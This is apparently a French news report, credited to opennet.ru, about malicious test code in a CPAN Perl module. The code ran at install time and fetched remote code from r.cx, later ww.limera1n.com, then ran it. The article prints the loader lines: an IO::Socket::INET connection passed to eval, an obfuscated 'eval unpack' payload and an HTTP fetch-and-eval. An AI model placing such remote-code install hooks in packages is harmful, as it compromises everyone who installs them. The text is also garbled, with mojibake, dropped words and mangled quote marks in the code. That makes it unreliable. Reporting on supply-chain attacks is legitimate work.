Dans le paquet Perl distribué via le catalogue CPAN , destiné à charger automatiquement les modules CPAN à la volée, code malveillant. L'injection malveillante a été dans le code de test , qui est fourni depuis 2011.
Notamment, des questions sur le chargement de code douteux ont émergé en 2016 déjà .
L'activitĂ© malveillante consiste Ă tenter de charger et d'exĂ©cuter du code depuis un serveur tiers (http://r.cx:1/) lors de l'exĂ©cution du jeu de tests, dĂ©clenchĂ© pendant l'installation du module. Il est supposĂ© que le code initialement chargĂ© depuis le serveur externe n'Ă©tait pas malveillant, mais maintenant la requĂȘte est redirigĂ©e vers le domaine ww.limera1n.com, qui fournit sa partie de code Ă exĂ©cuter.
Pour organiser le chargement, le fichier utilise le code suivant :
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Le code indiqué conduit à l'exécution du script , dont le contenu se résume à la ligne :
use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1âł};
Ce script charge via le service du code depuis l'hÎte externe r.cx (les codes de symboles 82.46.99.88 correspondent au texte «R.cX») et l'exécute dans un bloc eval.
$ perl -MIO::Socket -eâ$b=new IO::Socket::INET 82.46.99.88.»:1âł; print ;â
eval unpack u=>q{_<â)I;G1[)&(];F5W($E/.CI3;V-K970Z.DEâŠ.}
AprÚs décompression, il s'exécute finalement avec le code suivant :
print{$b=new IO::Socket::INET»ww.limera1n.com:80âł}»GET /iJailBreak
«;evalor return warn$@while$b;1
Actuellement, le package problĂ©matique a Ă©tĂ© retirĂ© du dĂ©pĂŽt (Perl Authors Upload Server), et le compte de l'auteur du module a Ă©tĂ© bloquĂ©. Cependant, le module reste dans l'archive MetaCPAN et peut ĂȘtre installĂ© directement depuis MetaCPAN Ă l'aide de certaines utilitaires, comme cpanminus. , que le paquet n'a pas Ă©tĂ© largement distribuĂ©.
Il est intéressant de noter que la discussion et l'auteur du module ont démenti les informations selon lesquelles le code malveillant aurait été inséré aprÚs le piratage de son site «r.cx» et a expliqué qu'il s'amusait simplement, et que perlobfuscator.com n'était pas utilisé pour cacher quoi que ce soit, mais pour réduire la taille du code et faciliter sa copie via le presse-papiers. Le choix du nom de fonction «botstrap» est justifié par le fait que ce mot «sonne comme bot et est plus court que bootstrap». L'auteur du module a également assuré que les manipulations révélées ne commettent pas d'actions malveillantes, mais démontrent simplement le chargement et l'exécution de code via TCP.
Source : opennet.ru
